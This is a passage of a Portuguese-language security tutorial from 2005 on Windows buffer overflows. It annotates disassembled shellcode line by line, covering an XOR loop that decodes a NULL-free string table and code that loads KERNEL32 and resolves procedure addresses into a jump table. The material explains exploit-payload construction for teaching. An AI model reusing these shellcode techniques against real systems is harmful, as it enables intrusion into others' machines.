A Aldeia Numaboa ancestral ainda está disponível para visitação. É a versão mais antiga da Aldeia que eu não quis simplesmente descartar depois de mais de 10 milhões de pageviews. Como diz a Sirley, nossa cozinheira e filósofa de plantão: "Misericórdia, ai que dó!"

Se você tiver curiosidade, o endereço é numaboa.net.br.

Leia mais...

Segurança

Buffer overflow no Windows

Sab

5

Nov

2005


23:55

(2 votos, média 5.00 de 5) 


  • Problema número 2: Precisamos decodificar a tabela de strings

Neste caso, a primeira tarefa do nosso código será decodificar esta salada, ou seja:

     00000146: 33C9                         xor    ecx,ecx        ; Zerar ECX
     00000148: B88053FF63                   mov    eax,063FF5380  ; "c_S«"
     0000014D: 2C80                         sub    al,080         ;"«"
     0000014F: C1C018                       rol    eax,018

     Apontar EAX para o fim dos nossos dados na área da memória
     (precisamos fazer isto para não pegar nenhum caracter NULL)

      00000152: B1B4                         mov    cl,0B4        ;"¶"

     ECX agora é 0x000000B4, o número de caracteres que queremos XORar.

     00000154: 48                           dec    eax
     00000155: 803080                       xor    b,[eax],080    ;"«"
     00000158: E2FA                         loop   000000154   ---------- (1)

E aqui está o loop XOR. Agora dá para perceber porque começamos pelo fim. Foi para que, no fim deste loop, EAX apontasse para o início dos dados e para usá-lo imediatamente para obter os nomes. Agora vamos prosseguir com a tabela de saltos.

  • Problema número 3: Carregar todos os endereços dos procedimentos.
     0000015A: BE7C10606A                   mov    esi,06A60107C
     0000015F: 50                           push   eax
     00000160: 50                           push   eax
     00000161: FF16                         call   d,[esi]
     00000163: 8BF0                         mov    esi,eax

O que este código faz é chamar LoadModule. Não há necessidade de fazer dois PUSH (um sobrou da depuração e foi esquecido. Se quiser, anuleo com NOP). EAX apontava para a string "KERNEL32", que era o primeiro argumento para o LoadModule. Quando o LoadModule retornar, ele colocará o manipulador do módulo kernel em EAX, o qual guardamos em ESI para que não seja perdido quando chamamrmos outros procedimentos.

     00000165: 5B                           pop    ebx
     00000166: 8BFB                         mov    edi,ebx
     00000168: 6681EF4BFF                   sub    di,0FF4B  ;"_K"

Isto faz com que EDI aponte para a base da tabela de saltos, a qual colocamos após 181 bytes do início da tabela de strings decodificada (ainda no espaço da pilha).

     0000016D: FC                           cld
     0000016E: 33C9                         xor    ecx,ecx
     00000170: 80E9FA                       sub    cl,-006

Faremos um loop de seis passos para carregar os seis procedimentos do kernel. Assim, agora ECX=0x00000006.

      00000173: 43                           inc    ebx
      00000174: 32C0                         xor    al,al
      00000176: D7                           xlat
      00000177: 84C0                         test   al,al
      00000179: 75F8                         jne    000000173   ---------- (1)
      0000017B: 43                           inc    ebx

Este loop corre o texto à procura de caracteres NULL (em outras palavras, vai para a próxima string) e depois aponta EBX para o caracter que segue o byte 0x00. Isto nos desloca de um nome de procedimento para o seguinte. Observe o uso de XLAT em 31337. Gosto disso. A referência de toda a memória num único byte. Uma gracinha.

Informações adicionais